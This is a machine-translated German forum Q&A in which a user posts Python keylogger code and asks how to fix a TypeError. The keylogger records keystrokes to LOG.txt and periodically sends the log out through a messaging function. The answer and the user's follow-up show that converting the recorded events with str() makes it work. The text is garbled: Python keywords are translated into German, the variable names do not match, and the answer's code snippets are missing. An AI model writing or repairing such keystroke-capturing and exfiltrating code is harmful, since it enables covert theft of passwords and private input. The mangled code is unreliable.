TypeError: write() argument must be str, nicht die Liste
def file_input(aufgezeichnet):
now_time = datetime.datetime.now()
w = open("LOG.txt", 'a')
w.write(recorded)
w.write("\n")
w.write(now_time)
w.write("--------------------------------------")
w .close()
wenn Namen == "main":
while 1:
status = time.localtime()
result = []
keyboard.press_and_release('space')
recorded = keyboard.record(until='enter')
file_input(recorded)
if (status.tm_min == 30):
f = open("LOG.txt", 'r')
file_content = f.read()
f.close()
send_simple_message(file_content)
ich versuche zu schreiben ein keylogger in python und ich vor Typ-Fehler wie, wie kann ich dieses problem lösen?
ich gerade in der aufgezeichneten Variablen in write() und es macht Typ-Fehler und aufgezeichnet variable Typ list. also ich habe versucht, verwenden Sie die func-aber es hat nicht geklappt
- die Frage ist nicht ganz klar
Du musst angemeldet sein, um einen Kommentar abzugeben.
Sie versuchen, eine Datei schreiben mit
w.write()
aber es dauert nur eine Zeichenfolge als argument.now_time
ist ein "datetime" - Typ und nicht ein string. wenn Sie nicht brauchen, um das Datum zu formatieren, können Sie einfach tun Sie dies:Gleiche Sache mit
recorded
ist eine Liste der Ereignisse, die Sie brauchen, es zu benutzen, erstellen Sie eine Zeichenfolge, bevor Sie versuchen zu schreiben, dass Strings in die Datei. Zum Beispiel:Dann, innerhalb
file_input()
Funktion können Sie:Durch den Wechsel zu
w.write(str(recorded))
mein problem war gelöst.